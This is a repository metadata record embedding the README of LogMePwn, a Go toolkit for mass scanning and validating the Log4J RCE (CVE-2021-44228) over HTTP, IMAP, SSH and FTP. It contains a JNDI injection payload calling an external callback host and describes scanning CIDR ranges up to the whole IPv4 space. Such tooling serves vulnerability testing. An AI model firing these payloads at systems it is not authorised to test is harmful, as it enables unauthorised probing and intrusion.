{"id":13842067,"url":"https://github.com/0xInfection/LogMePwn","last_synced_at":"2025-07-11T13:33:46.952Z","repository":{"id":40792815,"uuid":"438144746","full_name":"0xInfection/LogMePwn","owner":"0xInfection","description":"A fully automated, reliable, super-fast, mass scanning and validation toolkit for the Log4J RCE CVE-2021-44228 vulnerability.","archived":false,"fork":false,"pushed_at":"2024-12-11T23:04:50.000Z","size":49,"stargazers_count":400,"open_issues_count":1,"forks_count":54,"subscribers_count":11,"default_branch":"master","last_synced_at":"2025-07-07T03:13:11.882Z","etag":null,"topics":["cve-2021-44228","internet-scanning","log4j","rce-scanner","vulnerability-scanners"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/0xInfection.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2021-12-14T06:37:59.000Z","updated_at":"2025-06-06T01:06:29.000Z","dependencies_parsed_at":"2024-04-24T06:51:05.011Z","dependency_job_id":"98077cb2-e7dd-476a-ab1d-236db8f5a333","html_url":"https://github.com/0xInfection/LogMePwn","commit_stats":null,"previous_names":[],"tags_count":3,"template":false,"template_full_name":null,"purl":"pkg:github/0xInfection/LogMePwn","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0xInfection%2FLogMePwn","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0xInfection%2FLogMePwn/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0xInfection%2FLogMePwn/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0xInfection%2FLogMePwn/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/0xInfection","download_url":"https://codeload.github.com/0xInfection/LogMePwn/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0xInfection%2FLogMePwn/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":264821812,"owners_count":23669295,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve-2021-44228","internet-scanning","log4j","rce-scanner","vulnerability-scanners"],"created_at":"2024-08-04T17:01:26.804Z","updated_at":"2025-07-11T13:33:46.673Z","avatar_url":"https://github.com/0xInfection.png","language":"Go","funding_links":[],"categories":["Go"],"sub_categories":[],"readme":"# LogMePwn\nLogMePwn is a fully automated, multi-protocol, reliable, super-fast scanning and validation toolkit for the Log4J RCE CVE-2021-44228 vulnerability.\n\n![image](https://user-images.githubusercontent.com/39941993/147484381-65b7e94a-9d71-41fe-a1d4-edc8afbedcf7.png)\n\n## Tool Highlights\n- Inherent support for automatic Canary Tokens generation using emails or webhooks.\n- Multi-protocol support: HTTP, IMAP, SSH, FTP, etc.\n- Support for multiple HTTP methods (GET, POST, PUT, DELETE, PATCH, etc) \n- Customized HTTP request body fuzzing (JSON, XML, etc).\n- Custom callback server and payload support.\n- CIDR range scanning.\n- Everything is multi-threaded and super fast (its written in Go).\n- ...and many more. Checkout the documentation and the tool below!\n\n## How does it work?\nLogMePwn works by making use of [Canary Tokens](https://canarytokens.org), which in-turn provides email and webhook notifications to your preferred communication channel. If you have a custom callback server, you can definitely use it too!\n\n## Installation \u0026 Usage\nTo use the tool, you can grab a binary from the [Releases](https://github.com/0xInfection/LogMePwn/releases) section as per your distribution and use it. If you want to build the tool, you'll need Go \u003e= 1.13. Simple clone the repo and run `go build`.\n\nHere's the basic usage of the tool:\n```powershell\n$ ./lmp --help\n\n    +---------------------+\n    |   L o g M e P w n   |\n    +---------------------+  v2.0\n\n                ~ 0xInfection\nUsage:\n  -custom-server string\n        Specify a custom callback server.\n  -delay int\n        Delay between subsequent requests for the same host to avoid overwhelming the host.\n  -email string\n        Email to use for the receiving callback notifications.\n  -fbody string\n        Specify a format string to use as the body of the HTTP request.\n  -file string\n        Specify a file containing list of hosts to scan.\n  -ftp-ports string\n        Comma separated list of HTTP ports to scan per target. (default \"21\")\n  -headers string\n        Comma separated list of HTTP headers to use; if empty a default set of headers are used.\n  -headers-file string\n        Specify a file containing custom set of headers to use in HTTP requests.\n  -http-methods string\n        Comma separated list of HTTP methods to use while scanning. (default \"GET\")\n  -http-ports string\n        Comma separated list of HTTP ports to scan per target. (default \"80,443,8080\")\n  -imap-ports string\n        Comma separated list of IMAP ports to scan per target. (default \"143,993\")\n  -json\n        Use body of type JSON in HTTP requests that can contain a body.\n  -payload string\n        Specify a single payload or a file containing list of payloads to use.\n  -protocol string\n        Specify a protocol to test for vulnerabilities. (default \"all\")\n  -ssh-ports string\n        Comma separated list of SSH ports to scan per target. (default \"22\")\n  -threads int\n        Number of threads to use while scanning. (default 10)\n  -token string\n        Canary token payload to use in requests; if empty, a new token will be generated.\n  -user-agent string\n        Custom user-agent string to use; if empty, payloads will be used.\n  -webhook string\n        Webhook to use for receiving callback notifications.\n  -xml\n        Use body of type XML in HTTP requests that can contain a body.\n\nExamples:\n  ./lmp -email alerts@testing.site 1.2.3.4 1.1.1.1:8080\n  ./lmp -token xxxxxxxxxxxxxxxxxx -methods POST,PUT -fbody '\u003cpadding_here\u003e%s\u003cpadding_here\u003e' -headers X-Custom-Header\n  ./lmp -webhook https://webhook.testing.site -file internet-ranges.lst -ports 8000,8888\n  ./lmp -email alerts@testing.site -methods GET,POST,PUT,PATCH,DELETE 1.2.3.4:8880\n  ./lmp -protocol imap -custom-server alerts.testing.local 1.2.3.4:143\n```\n\n### Specifying protocols\n__NEW:__ This feature was introduced in v2.0.\n\nWith latest version support for multiple protocols has been introduced. So far we have 4 different protocols:\n- HTTP\n- IMAP\n- SSH\n- FTP\n\nIf you do not specify a protocol via the `-protocol` argument, the tool will run all the plugins for every supported protocol against the default set of ports mentioned.\n\n[_See how to control ports for every protocol._](#specifying-targets)\n\nExample:\n```powershell\n./lmp -protocol ftp -custom-server alerts.testing.local 1.2.3.4:21\n./lmp -protocol ssh -custom-server alerts.testing.local 1.2.3.4:22\n./lmp -token xxxxxxxxxxxxxxxx 1.2.3.4 # scans for all protocols on default ports\n```\n\n### Specifying targets\nThe targets can be specified in two ways, via the command line interface as arguments, or via a file.\n\n__NEW:__ Now you can even pass CIDR ranges to scan! This feature was introduced in v1.1.\n\nExample:\n```s\n./lmp \u003cother args here\u003e 1.1.1.1:8080 1.2.3.4:80 1.1.2.2:443\n./lmp \u003cother args here\u003e -file internet-ranges.lst\n./lmp \u003cother args here\u003e 192.168.0.0/26 1.2.3.4/30\n```\n\nEvery protocol has a default supported list of ports associated which can be fine-tuned using the following flags:\n- `-http-ports` for HTTP.\n- `-imap-ports` for IMAP.\n- `-ssh-ports` for SSH.\n- `-ftp-ports` for FTP.\n\nIf the user mentions a host+port pair in form of `host:port`, the default list of ports is discarded and all checks are done for that specific port. If `-protocol` is not mentioned, all protocols' plugins will be tested against the same port.\n\n### Specifying payloads\n_This feature was introduced in v1.1._\n\nYou can specify a payload directly via the `-payload` argument directly. However if you want the DNS name of the host which is being tested in the payload, you can specify a formatting directive `$DNSNAME$` which will be replaced with the target against which the payload is being tested.\n\ne.g. if you supply a command like this:\n```js\n./lmp -payload '${jndi:ldap://$DNSNAME$.xxx.burpcollaborator.net/a}' vulnerable.site.com\n```\nThen when sending a HTTP request to the URL, the payload would look like:\n```sh\n${jndi:ldap://vulnerable-site-com.xxx.burpcollaborator.net/a}\n```\nThis feature would help you evaluate which hosts are vulnerable when doing black-box fuzzing.\n\nYou can also specify a payload containing multiple variations of the payload using the same argument. (See [`payloads-sample.txt`](payloads-sample.txt)). Example:\n```js\n./lmp -payload payloads-sample.txt vulnerable.site.com\n```\n\n\u003e __NOTE:__ This feature doesn't work with Canary Tokens. Canarytokens doesn't support custom DNS formats.\n\n### Specifying notification channels\n\u003e __NOTE__: If you're supplying a custom payload using `-payload`, specifying a notification channel is __NOT__ necessary. The payload itself should contain your callback server.\n\nThe notification channels can be any of the following:\n- Email (`-email`)\n- Webhook (`-webhook`)\n- Custom DNS callback server (`-custom-server`)\n\nThe tool makes use of Canary Tokens, you can create one from [here](https://canarytokens.org/generate), or let the tool create a token for you. If the tool creates a token, that will be written to a file named `canarytoken-logmepwn.json`, which will include the token itself and the auth (both of which you'll need to view triggers via the web interface).\n\nIf you already have a token, you can use the `-token` argument to use the token directly and not create a new one.\n\n\u003e __NOTE:__ If you supply either an email or a webhook, the tool will create a custom canary token. If you use a custom callback server, tokens do not come into play.\n\n### Sending requests\nThe tool offers great flexibility when sending requests. By default the tool uses GET requests. A default set of headers are used, each of which contains a payload in its value. You can specify a custom set of headers via the `-headers` argument. You can use the `-headers-file` switch to supply a file containing a list of headers. Examples:\n```groovy\n./lmp \u003cother args\u003e -headers 'X-Api-Version' 1.2.3.4:8080\n./lmp \u003cother args\u003e -headers-file headers.txt 1.2.3.4:8080\n```\n\nYou can specify the list of HTTP methods to use for scanning via the `-methods` switch. For requests that contain a body, e.g. `POST`, `PUT`, etc, you can customize content of the bodies.\n\nBy default the tool sends a payload directly via the body. The tool offers customization fo the body in the following ways:\n- Specify `-json` to have the request body as type JSON.\n- `-xml` for XML format.\n- `-fbody` to specify a custom format string where the payload will be injected. This allows complex request creation when testing. For example, if you want to send the content as HTML, it can look like this:\n  ```s\n  ./lmp -fbody '\u003chtml\u003e%s\u003c/html\u003e' -methods 'POST,PUT' 1.2.3.4\n  ```\n\nYou can specify a custom user-agent header value via the `-user-agent` switch.\n\n### Concurrent scanning\nThe tool is optimized for scanning a wide range of targets. With sufficient amount of network bandwidth and hardware, you can scan the entire IPv4 space within a day. The default number of concurrent threads to use while scanning is set at just 10 (optimised for reliability on local hardware). The value can go upto thousands (I'll leave the benchmarking task upto you). :)\n\nUse the `-threads` switch to supply the number of threads to use with the tool.\n\n### Specifying delay\nSince a lot of HTTP requests are involved, it might be a cumbersome job for the remote host to handle the requests. The `-delay` parameter is here to help you with those cases. You can specify a delay value in seconds -- which will be used be used in between two subsequent requests to the same port on a server.\n\n## Demo\nTo demo the scanner, I make use of a vulnerable setup from [@christophetd](https://twitter.com/christophetd) using docker:\n```js\ndocker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app\n```\n![image](https://user-images.githubusercontent.com/39941993/146034544-a0c0e60d-00db-44ae-823a-5e5834888108.png)\n\nThen I run the tool against the setup:\n```js\n./lmp -email alerts@testing.site -protocol http 127.0.0.1:8080\n```\n![image](https://user-images.githubusercontent.com/39941993/146034732-5600761b-008e-4119-83ce-b5b0f6686b7d.png)\n\nWhich immediately triggered a few DNS lookups visible on the token history page as well as my email:\n\n\u003cimg src=\"https://user-images.githubusercontent.com/39941993/146039240-0d34e4d8-284f-4377-bde3-ea13f9f7f5eb.png\" width=49% /\u003e \u003cimg src=\"https://user-images.githubusercontent.com/39941993/146039600-ab2a71b1-ec92-4cef-bae4-f3f46dc2ffd6.png\" width=49% /\u003e\n\n### Changelog\n- Updates in version v2.0:\n  - Introducing multi-protocol support. Protocols implemented so far:\n    - SSH\n    - IMAP\n    - HTTP\n    - FTP\n\n- Updates in version v1.1:\n  - Ability to specify custom payloads via file or command line.\n  - Ability to specify custom headers via file.\n  - CIDR range scanning.\n\n## Ideas \u0026 future roadmap\nFeel free to hit me up on [Twitter](https://twitter.com/0xinfection) or create an issue or PR.\n\n## License \u0026 Version\nThe tool is licensed under the GNU GPLv3. LogMePwn is currently at v2.0.\n\n## Credits\nShoutout to the team at [Thinkst Canary](https://canary.tools/) for their amazing Canary Tokens project.\n\n\u003e Crafted with ♡ by [Pinaki (@0xInfection)](https://twitter.com/0xinfection).\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F0xInfection%2FLogMePwn","html_url":"https://awesome.ecosyste.ms/projects/github.com%2F0xInfection%2FLogMePwn","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F0xInfection%2FLogMePwn/lists"}